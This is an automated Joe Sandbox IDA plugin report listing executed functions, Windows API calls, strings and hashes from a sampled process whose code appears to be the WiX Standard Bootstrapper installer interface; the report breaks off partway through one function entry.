Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressDirectoryErrorLastLibraryLoadProcSystem_memset
String ID: AdvApi32.dll$RegDeleteKeyExW
API String ID: 2769571726-850864035
Opcode ID: d8a69627464786472a89a0aea29f8214cc533aa477371659217f1fd8217aca01
Instruction ID: 8461bc934ef5d32802943a7a6fded9fc966cc9bbc1bc5bbf2525a5ae64da63f3
Opcode Fuzzy Hash: d8a69627464786472a89a0aea29f8214cc533aa477371659217f1fd8217aca01
Instruction Fuzzy Hash: CDE0B672649321ABC7109F94BD0574A3A50B741B96F00D5E5E90896171D7F28CC69B90

Analysis Process: ._cache_LisectAVT_2403002A_282.exePID: 5648, Parent PID: 1492COMMON

Executed Functions

Function 6C68A815 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C68A840
FindFirstFileW.KERNELBASE(00000000,?,%u\%ls,00000000,00000000), ref: 6C68A850
FindClose.KERNELBASE(00000000), ref: 6C68A85C

Strings

%u\%ls, xrefs: 6C68A82D

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Find$CloseFileFirst_memset
String ID: %u\%ls
API String ID: 3141757445-1753770661
Opcode ID: e76f8e5b42f8bdae0770af9c173ecff4678d9994d247e3036fb1640125fa71b9
Instruction ID: 6e2a4640521cf0850e36c22ce68045de2430ca497edb7b5025968a8be104ce0a
Opcode Fuzzy Hash: e76f8e5b42f8bdae0770af9c173ecff4678d9994d247e3036fb1640125fa71b9
Instruction Fuzzy Hash: 6301D676B02108AFCB00EEA88CC49AEF3BCEB46319F400165E915D3680D374ED4A8B68

Function 6C6891B1 Relevance: 75.7, APIs: 28, Strings: 15, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringW.KERNEL32(0000007F,00000000,00000080,00000000,Billboard,00000000,?,?,00000080,?,?,00000080,?), ref: 6C6892E9
CompareStringW.KERNEL32(0000007F,00000000,?,00000000,Button,00000000), ref: 6C689305
CompareStringW.KERNEL32(0000007F,00000000,6C697498,00000000,6C697498,00000001), ref: 6C68931E
CompareStringW.KERNEL32(0000007F,00000000,?,00000000,Checkbox,00000000), ref: 6C689336
CompareStringW.KERNEL32(0000007F,00000000,6C697834,00000000,6C697834,00000002), ref: 6C68934F
CompareStringW.KERNEL32(0000007F,00000000,?,00000000,Editbox,00000000), ref: 6C689367
CompareStringW.KERNEL32(0000007F,00000000,6C69781C,00000000,6C69781C,00000002), ref: 6C689380
CompareStringW.KERNEL32(0000007F,00000000,?,00000000,Hyperlink,00000000), ref: 6C689398
CompareStringW.KERNEL32(0000007F,00000000,6C697804,00000000,6C697804,00000001), ref: 6C6893B1
CompareStringW.KERNEL32(0000007F,00000000,?,00000000,Hypertext,00000000), ref: 6C6893C9
SysFreeString.OLEAUT32(?), ref: 6C6895CC
SysFreeString.OLEAUT32(00000000), ref: 6C689616

Strings

Hypertext, xrefs: 6C6893BD
Tab, xrefs: 6C68951F
Checkbox, xrefs: 6C68932A
Image, xrefs: 6C6893D8
Hyperlink, xrefs: 6C68938C
Button, xrefs: 6C6892F9
Treeview, xrefs: 6C6894F6
Static, xrefs: 6C68946B
thmutil.cpp, xrefs: 6C689268
Listview, xrefs: 6C6894CD
Editbox, xrefs: 6C68935B
Progressbar, xrefs: 6C689409
Richedit, xrefs: 6C68943A
Billboard, xrefs: 6C6892DD
Text, xrefs: 6C68949C

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$Compare$Free
String ID: Billboard$Button$Checkbox$Editbox$Hyperlink$Hypertext$Image$Listview$Progressbar$Richedit$Static$Tab$Text$Treeview$thmutil.cpp
API String ID: 318886736-75530310
Opcode ID: 2402454a7f0146f5461afe1b9fbbcf55149e025b886d1a3bfd553756f01d8cf6
Instruction ID: 565bd39d17812e412519e8191b842e95c799f1590b383ae09a7e53ef6b16490b
Opcode Fuzzy Hash: 2402454a7f0146f5461afe1b9fbbcf55149e025b886d1a3bfd553756f01d8cf6
Instruction Fuzzy Hash: A5D1A270D42209FEEB128F948C86EAFBB79EF85708F204465F211A6991C2719E41DF79

Function 6C68882B Relevance: 58.4, APIs: 2, Strings: 31, Instructions: 633COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 6C688C65

Part of subcall function 6C68A126: CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,yes,000000FF,?,?,00000000,00000000,?,?,6C6885FB,?,Underline,?), ref: 6C68A15C

SysFreeString.OLEAUT32(00000000), ref: 6C688FAA

Strings

sid, xrefs: 6C688C10
AlwaysShowSelect, xrefs: 6C688F1D
DisablePrefix, xrefs: 6C688D1B
Loop, xrefs: 6C688C84
LinesAtRoot, xrefs: 6C688F46
Center, xrefs: 6C688CEE
Interval, xrefs: 6C688CAE
Width, xrefs: 6C688981
ImageListState, xrefs: 6C688E03
thmutil.cpp, xrefs: 6C68889B
HoverFontId, xrefs: 6C688A7C
EnableDragDrop, xrefs: 6C688E93
HexStyle, xrefs: 6C688AEE
FullRowSelect, xrefs: 6C688EC0
FileSystemAutoComplete, xrefs: 6C688BCF
StringId, xrefs: 6C688BFA
SourceX, xrefs: 6C6889D4
Height, xrefs: 6C688948
HideWhenDisabled, xrefs: 6C688BA4
ImageList, xrefs: 6C688D8F
SourceY, xrefs: 6C688A0C
HexExtendedStyle, xrefs: 6C688D5E
ImageListSmall, xrefs: 6C688DC9
SelectedFontId, xrefs: 6C688AB4
HasButtons, xrefs: 6C688EF0
FontId, xrefs: 6C688A44
Name, xrefs: 6C6888B3
TabStop, xrefs: 6C688B1F
Visible, xrefs: 6C688B74
HasLines, xrefs: 6C688F6C
ImageListGroupHeader, xrefs: 6C688E3D

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$Free$Compare
String ID: AlwaysShowSelect$Center$DisablePrefix$EnableDragDrop$FileSystemAutoComplete$FontId$FullRowSelect$HasButtons$HasLines$Height$HexExtendedStyle$HexStyle$HideWhenDisabled$HoverFontId$ImageList$ImageListGroupHeader$ImageListSmall$ImageListState$Interval$LinesAtRoot$Loop$Name$SelectedFontId$SourceX$SourceY$StringId$TabStop$Visible$Width$sid$thmutil.cpp
API String ID: 1324494773-2239863677
Opcode ID: 949699cda5408ddc7e7fe82b36d205156c57b1021a6daa396633d8b72d5f1282
Instruction ID: 0ffd96e02ac8236f0c5d5e7d94e87853fdc8fec8d298dd3a7c48097fcd6a84d1
Opcode Fuzzy Hash: 949699cda5408ddc7e7fe82b36d205156c57b1021a6daa396633d8b72d5f1282
Instruction Fuzzy Hash: 4D12B432403515AECB019E64CC80ADE377A9F8E368F260556FC11E7A61EB35DA46CB7C

Function 6C687133 Relevance: 40.7, APIs: 16, Strings: 7, Instructions: 425
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClientRect.USER32(00000024,?), ref: 6C68716B
CompareStringW.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,?,?,00000000), ref: 6C68735B
CreateWindowExW.USER32(00000000,5 hl,?,4000000D,?,?,?,?,00000000,?,00000000,00000000), ref: 6C68740F
SHAutoComplete.SHLWAPI(00000000,00000010), ref: 6C687434
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 6C687455
SendMessageW.USER32(?,00001061,?,0000000F), ref: 6C6874B0
SendMessageW.USER32(?,00001003,00000003,4000000D), ref: 6C6874F1
SendMessageW.USER32(?,00000030,?,00000000), ref: 6C6875BF
GetLastError.KERNEL32(?,?,00000000), ref: 6C6875F1
GetLastError.KERNEL32(?,?,00000000), ref: 6C68761D
GetLastError.KERNEL32(?,?,00000000), ref: 6C687649

Strings

Static, xrefs: 6C687186
ThemeHyperLink, xrefs: 6C68725D
thmutil.cpp, xrefs: 6C687673
Riched20.dll, xrefs: 6C6872E4
5 hl, xrefs: 6C68740B, 6C6872F9
Button, xrefs: 6C6871DE
+, xrefs: 6C687264

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: MessageSend$ErrorLast$AutoClientCompareCompleteCreateRectStringWindow
String ID: +$5 hl$Button$Riched20.dll$Static$ThemeHyperLink$thmutil.cpp
API String ID: 3320771329-2870720769
Opcode ID: 685b22a089eff7cc25a9fe90c140adb8cd21078d1b1f4499f87f7b48169da74c
Instruction ID: 10efda10e55a3953120a9ca98f549508405aeca217ee1cebc3ba22ddfe30d277
Opcode Fuzzy Hash: 685b22a089eff7cc25a9fe90c140adb8cd21078d1b1f4499f87f7b48169da74c
Instruction Fuzzy Hash: 91F18170B06A05DFDB21CFA9C880A9EBBF5FF45314F20461AF652A6A90D730D581CF69

Function 6C689CD4 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 151
libraryloadercomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,?,?,?,6C689ED5,00000000,00000000,00000000,?,6C684070,?), ref: 6C689CF2
GetLastError.KERNEL32(?,?,?,6C689ED5,00000000,00000000,00000000,?,6C684070,?), ref: 6C689CFE
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 6C689D62
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 6C689D6E
GetProcAddress.KERNEL32(00000000,Wow64EnableWow64FsRedirection), ref: 6C689D78
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 6C689D83
CoCreateInstance.OLE32(6C69D10C,00000000,00000001,6C69536C,00000000,?,?,?,6C689ED5,00000000,00000000,00000000,?,6C684070,?), ref: 6C689DBD
ExitProcess.KERNEL32 ref: 6C689E72

Strings

IsWow64Process, xrefs: 6C689D5C
\Sil, xrefs: 6C689DD1
LSil, xrefs: 6C689DEA
Wow64DisableWow64FsRedirection, xrefs: 6C689D68
xmlutil.cpp, xrefs: 6C689D28
kernel32.dll, xrefs: 6C689CDE
Wow64RevertWow64FsRedirection, xrefs: 6C689D7A
Wow64EnableWow64FsRedirection, xrefs: 6C689D70

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: AddressProc$CreateErrorExitHandleInstanceLastModuleProcess
String ID: IsWow64Process$LSil$Wow64DisableWow64FsRedirection$Wow64EnableWow64FsRedirection$Wow64RevertWow64FsRedirection$\Sil$kernel32.dll$xmlutil.cpp
API String ID: 2124981135-2584233699
Opcode ID: a3f974900a5fdf34dbc54f924ac2c691b889f9d7196118beea5db0790ebf5f4d
Instruction ID: a657c8135a6828686739466f8f8b3298e1d79af7fa495989dc2c8fa6239878b0
Opcode Fuzzy Hash: a3f974900a5fdf34dbc54f924ac2c691b889f9d7196118beea5db0790ebf5f4d
Instruction Fuzzy Hash: B3516271A0221AABDB009FB5CC88BAEBFF8AF0571AF104565E514E7580D771C641CBAC

Function 6C683E4A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 159
registrywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,00000000,?,00000000), ref: 6C683E93
LoadIconW.USER32(00000000,00000001), ref: 6C683E9F
LoadCursorW.USER32(00000000,00007F00), ref: 6C683EBE
RegisterClassW.USER32(?), ref: 6C683EEC
GetLastError.KERNEL32 ref: 6C683EF7
GetCursorPos.USER32(?), ref: 6C683F40
MonitorFromPoint.USER32(?,?,00000002), ref: 6C683F52
GetMonitorInfoW.USER32(00000000,?), ref: 6C683F68
CreateWindowExW.USER32(00000000,6C6959AC,?,00000001,?,?,?,?,00000000,00000000,?,?), ref: 6C683FC3
GetLastError.KERNEL32 ref: 6C683FD3

Strings

(, xrefs: 6C683F61
WixStandardBootstrapperApplication.cpp, xrefs: 6C683FF8
WixStdBA, xrefs: 6C683EE5

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CursorErrorLastLoadMonitor$ClassCreateFromHandleIconInfoModulePointRegisterWindow
String ID: ($WixStandardBootstrapperApplication.cpp$WixStdBA
API String ID: 844225009-4208313422
Opcode ID: 48185a4f0e10169a6c976e3fa73e56968e0c581c612bfaf4374e983114be6a4d
Instruction ID: 349a614959e2582284db71af3873d6eb0d1a2f6b28c058227e81474cd39432a7
Opcode Fuzzy Hash: 48185a4f0e10169a6c976e3fa73e56968e0c581c612bfaf4374e983114be6a4d
Instruction Fuzzy Hash: 10518071B02206AFDB14CFB9C989BAABBF5EF49304F104129E505EB650D770E801CBA9

Function 6C684017 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 6C68402F
CoUninitialize.OLE32 ref: 6C684192

Part of subcall function 6C681141: EnterCriticalSection.KERNEL32(?,76C1B390,?,6C684137), ref: 6C681149
Part of subcall function 6C681141: LeaveCriticalSection.KERNEL32(?), ref: 6C681150

Strings

Failed to initialize data in bootstrapper application., xrefs: 6C684076
Failed to initialize theme manager., xrefs: 6C68405F
Failed to create main window., xrefs: 6C684094
Failed to initialize COM., xrefs: 6C68403E
Unexpected return value from message pump., xrefs: 6C684121

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeaveUninitialize
String ID: Failed to create main window.$Failed to initialize COM.$Failed to initialize data in bootstrapper application.$Failed to initialize theme manager.$Unexpected return value from message pump.
API String ID: 3418922982-138392756
Opcode ID: efdbc40dedbd6d16ed8cd2ec90636feb3d8bc230364004784465123a94d1a5a6
Instruction ID: 9b23017a44fbb8ad75bb846dc3d3b29be722df4b1461f01ba8a74ec81743ed3e
Opcode Fuzzy Hash: efdbc40dedbd6d16ed8cd2ec90636feb3d8bc230364004784465123a94d1a5a6
Instruction Fuzzy Hash: D0411731306301ABDB109F64CC94BBF72BDAF4A709F100529E181D7A40EBB4D905977D

Function 6C688FB9 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 162
keyboardwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,00000000,?,?,6C683D98,00000000,?,?,?,?), ref: 6C689053
GetDlgItem.USER32(?,?), ref: 6C6890A1
_memmove.LIBCMT ref: 6C6890DA
GetKeyState.USER32(00000010), ref: 6C68912F
GetNextDlgTabItem.USER32(?,?,00000000), ref: 6C689143
SetFocus.USER32(00000000,?,6C683D98,00000000,?,?,?,?), ref: 6C68914A
GetUpdateRect.USER32(?,00000000,00000000), ref: 6C689176
BeginPaint.USER32(?,?,?,6C683D98,00000000,?,?,?,?), ref: 6C68918A
EndPaint.USER32(?,?,?,?,?,6C683D98,00000000,?,?,?,?), ref: 6C6891A4

Part of subcall function 6C687905: SetTextColor.GDI32(?,?), ref: 6C68794F
Part of subcall function 6C687905: SetBkColor.GDI32(?,?), ref: 6C687960

Strings

open, xrefs: 6C6890F2

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ColorItemPaint$BeginFocusNextProcRectStateTextUpdateWindow_memmove
String ID: open
API String ID: 3701977547-2758837156
Opcode ID: f80a6d3da236eecb5b75db93b9fccb8b3fbb48ccd5bbd8168ab1d56c21860cef
Instruction ID: 49be547a8c8a330afdd04162f8eb21a23277e65ab1e9eb8c5c358f5132314654
Opcode Fuzzy Hash: f80a6d3da236eecb5b75db93b9fccb8b3fbb48ccd5bbd8168ab1d56c21860cef
Instruction Fuzzy Hash: 7D510471A0B10AAEDF218F64CC84EEE77B8EB0A34DF100529F615E2950C775D9849A79

Function 6C687017 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 85
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C68993C: CoInitialize.OLE32(00000000), ref: 6C68994B
Part of subcall function 6C68993C: InterlockedIncrement.KERNEL32(6C69D11C), ref: 6C689968
Part of subcall function 6C68993C: CLSIDFromProgID.OLE32(Msxml2.DOMDocument,6C69D10C,?,?,?,?,?,?,?,6C684057,?), ref: 6C689983
Part of subcall function 6C68993C: CLSIDFromProgID.OLE32(MSXML.DOMDocument,6C69D10C,?,?,?,?,?,?,?,6C684057,?), ref: 6C68998F

LoadCursorA.USER32(00000000,00007F89), ref: 6C687046
GetClassInfoW.USER32(00000000,Button,?), ref: 6C68705C
GetLastError.KERNEL32(?,?,?,?,?,?,?,6C684057,?), ref: 6C687066
RegisterClassW.USER32(?), ref: 6C6870A0
GetLastError.KERNEL32(?,?,?,?,?,?,?,6C684057,?), ref: 6C6870AB
InitCommonControlsEx.COMCTL32(?,6C69C1F0,6C69D0F4,6C69D0EC,?,?,?,?,?,?,?,6C684057,?), ref: 6C68711A

Strings

ThemeHyperLink, xrefs: 6C687099
thmutil.cpp, xrefs: 6C6870D0
Button, xrefs: 6C687055

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ClassErrorFromLastProg$CommonControlsCursorIncrementInfoInitInitializeInterlockedLoadRegister
String ID: Button$ThemeHyperLink$thmutil.cpp
API String ID: 3830294179-4220003992
Opcode ID: 8a1fd954786f650d15b3aa34a886125b6d06982cdfbe21d38892e2c79c1a09bc
Instruction ID: 1cf78a73ec1a2c0ddc00e5eab8e96ef45089370224d60dfe719b3d5c558280c8
Opcode Fuzzy Hash: 8a1fd954786f650d15b3aa34a886125b6d06982cdfbe21d38892e2c79c1a09bc
Instruction Fuzzy Hash: 0221F372B12213ABDB10AFA5CC44B9A7BB4AB06714F000225F905FBA40EB7484048BFD

Function 6C682C60 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 382
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxW.USER32(?,?,?,00000031), ref: 6C682CE0
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 6C682CFC

Strings

LaunchTarget, xrefs: 6C682F28
WixBundleElevated, xrefs: 6C682D48
InstallFolder, xrefs: 6C682E7C
0x%08x - %ls, xrefs: 6C682FCF
The requested operation is successful. Changes will not be effective until the system is rebooted., xrefs: 6C682CC9, 6C682CD9

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Message$Post
String ID: 0x%08x - %ls$InstallFolder$LaunchTarget$The requested operation is successful. Changes will not be effective until the system is rebooted.$WixBundleElevated
API String ID: 3307098700-823001171
Opcode ID: 10e362038d504319091fdf8fd2bad4b4af06e8adc7dfe3e83a6688321e234482
Instruction ID: 4d66234d81cc31ea5297a862c4ad6dff89ead222b8e7780c89ec788569ba8654
Opcode Fuzzy Hash: 10e362038d504319091fdf8fd2bad4b4af06e8adc7dfe3e83a6688321e234482
Instruction Fuzzy Hash: C5E19071A02705EFDF218FA0CD84BEABBB9FF42308F104429E666A6910D7719944DB7D

Function 6C687B4A Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C689FA8: SysAllocString.OLEAUT32(?), ref: 6C689FBB
Part of subcall function 6C689FA8: VariantInit.OLEAUT32(?), ref: 6C689FC7
Part of subcall function 6C689FA8: VariantClear.OLEAUT32(?), ref: 6C68A03B
Part of subcall function 6C689FA8: SysFreeString.OLEAUT32(00000000), ref: 6C68A046

__fassign.LIBCMT ref: 6C687B87

Part of subcall function 6C68CA9D: wcstoxl.LIBCMT ref: 6C68CAAD

Part of subcall function 6C68AAC0: GlobalAlloc.KERNEL32(00000002,?,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68AAF8
Part of subcall function 6C68AAC0: GetLastError.KERNEL32 ref: 6C68AB07
Part of subcall function 6C68AAC0: GlobalFree.KERNEL32(00000000), ref: 6C68AC28

SysFreeString.OLEAUT32(00000000), ref: 6C687BA7
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,00000000,FF000000,00000000,ImageResource,00000000,00000000,00000000,00000000), ref: 6C687C12
SysFreeString.OLEAUT32(00000000), ref: 6C687C64

Strings

thmutil.cpp, xrefs: 6C687C34
ImageResource, xrefs: 6C687B57
ImageFile, xrefs: 6C687BB7

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: FreeString$AllocGlobalVariant$BitmapClearCreateErrorFromGdipInitLast__fassignwcstoxl
String ID: ImageFile$ImageResource$thmutil.cpp
API String ID: 3426277259-1357958357
Opcode ID: 2b43f1253a9e254d3cfdf7fcb89d32a593bb9f0b221a5c4e017c2015145678de
Instruction ID: 0702ef3ae89b733acd6601f7965d780b9c1d6789c0a1e4e064f5fb4dc030e3b6
Opcode Fuzzy Hash: 2b43f1253a9e254d3cfdf7fcb89d32a593bb9f0b221a5c4e017c2015145678de
Instruction Fuzzy Hash: F9316F31D02518BFCF11AF95CD408EDBBB9AF45704F214691F821B3A50E7329E50AB6C

Function 6C6876CB Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000024), ref: 6C6876E5
CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,08000000,00000000,?,6C69C028,?,?,00000000,?,?,6C69C028,00000024), ref: 6C68771A
GetLastError.KERNEL32(?,00000000,?,?,6C69C028,00000024), ref: 6C687727
SendMessageW.USER32(00000024,00000435,00000000,00000024), ref: 6C687778
SendMessageW.USER32(00000024,00000449,00000002,?), ref: 6C68779A
FindCloseChangeNotification.KERNELBASE(00000000,?,6C69C028,?,?,00000000,?,?,6C69C028,00000024), ref: 6C6877B4

Strings

thmutil.cpp, xrefs: 6C68774C

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: MessageSend$ChangeCloseCreateErrorFileFindItemLastNotification
String ID: thmutil.cpp
API String ID: 2864319522-2961750086
Opcode ID: 1731f58af1494bae222ec94e2b8675a62a8eed23c5b982657b4ac07ea1fe3a55
Instruction ID: a170550dbdc0ffb2252d45bceb948b1adb197d74da5f7e1381982d12ebfc4273
Opcode Fuzzy Hash: 1731f58af1494bae222ec94e2b8675a62a8eed23c5b982657b4ac07ea1fe3a55
Instruction Fuzzy Hash: 7E21A531A01109BFEF115FA5CC85EDE7B79EF45324F204661FA20B7190D3718900DBA8

Function 6C685878 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C689FA8: SysAllocString.OLEAUT32(?), ref: 6C689FBB
Part of subcall function 6C689FA8: VariantInit.OLEAUT32(?), ref: 6C689FC7
Part of subcall function 6C689FA8: VariantClear.OLEAUT32(?), ref: 6C68A03B
